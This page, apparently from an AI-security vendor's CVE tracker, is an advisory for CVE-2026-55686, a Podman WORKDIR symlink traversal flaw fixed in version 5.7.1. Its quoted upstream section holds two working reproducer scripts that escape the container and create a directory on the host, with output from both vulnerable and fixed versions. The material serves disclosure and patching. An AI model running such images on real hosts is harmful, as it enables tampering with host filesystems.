HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 55686 podman workdir symlink traversal vulnerability
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Medium · CVSS 5.3CVE-2026-55686GHSA-Q6R4-3WMG-FWCQ

Podman: WORKDIR symlink traversal vulnerabilityCVE-2026-55686

Answer in brief

CVE-2026-55686 records a Medium severity (CVSS 5.3) vulnerability in Podman: WORKDIR symlink traversal vulnerability. The current sources do not mark it as known exploited. The current feed maps github.com/containers/podman/v3 (go), github.com/containers/podman/v3 (go), github.com/containers/podman/v4 (go), github.com/containers/podman/v4 (go) and additional mapped packages. Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jun 18, 2026Updated Nov 3, 2026Source checked Nov 3, 2026First seen by HOL Jun 19, 2026Material review Nov 3, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 5.3
Exploitation
Not marked as known exploited
Affected software
7 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 5.3. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/containers/podman/v3 (go), github.com/containers/podman/v3 (go), github.com/containers/podman/v4 (go), github.com/containers/podman/v4 (go) and additional mapped packages. Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:podman_project:podman:*:*:*:*:*:*:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/containers/podman/v3go<=3.4.7Not reported
github.com/containers/podman/v3go>=0Not reported
github.com/containers/podman/v4go<=4.9.5Not reported
github.com/containers/podman/v4go>=0Not reported
github.com/containers/podman/v5go<=5.7.05.7.1
github.com/containers/podman/v5go>=0 <5.7.15.7.1

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/containers/podman/v3, github.com/containers/podman/v3, github.com/containers/podman/v4.
  2. 2Review the reported fix. Update github.com/containers/podman/v5 to 5.7.1; github.com/containers/podman/v5 to 5.7.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jun 18, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 3, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jun 19, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. ### Patch https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ### Details This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858) ### PoC The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory. The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory. The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory. Reproducer **test1.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Reproducer **test2.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Vulnerable: podman 5.7.0 using Fedora CoreOS 43.20251120.3.0 ``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ``` Not vulnerable: podman 5.7.1 using Fedora CoreOS 43.20260119.1.1 ``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ``` ### Credits We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • Terragrunt catalog predictable temp symlink clobberAlso CWE-59
  • Claude Code: TOCTOU Race in Edit Tool Allows File Writes Outside the WorkspaceAlso CWE-59

Record context

Vulnerability class
Path Traversal
EPSS
Not reported
CWE IDs
CWE-61, CWE-59
Source
GitHub Security Advisories
Source checked
Nov 3, 2026
References
6 linked sources
Open source record